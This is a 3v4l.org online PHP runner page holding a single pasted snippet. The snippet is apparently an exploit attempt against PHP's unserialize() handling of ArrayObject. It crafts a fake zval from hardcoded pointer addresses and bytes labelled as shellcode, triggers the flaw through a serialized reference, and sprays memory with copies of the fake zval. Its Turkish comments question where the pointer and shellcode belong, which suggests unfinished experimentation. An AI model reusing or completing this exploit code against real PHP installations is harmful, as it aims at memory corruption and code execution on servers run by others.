3v4l.org

run code in 300+ PHP versions simultaneously
<?php $fakezval = ptr2str(1234567); $fakezval .= ptr2str(0xdfcb70+4-0xb8); //pointer address hardadir? $fakezval .= "\x46\x45\x01\x01"; $fakezval .= "\x05";//shellcode hardadi? $fakezval .= "\x23";//shellcode hardadi? $fakezval .= "\x63";//shellcode hardadi? $fakezval .= "\x00\x00\x00\x00\x00"; //$fakezval .= "\xbe\xf8\x52"; $fakezval.= ""; $inner = 'x:i:1234;a:0:{};m:a:0:{}'; $exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ""; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?>

preferences:
58.23 ms | 402 KiB | 5 Q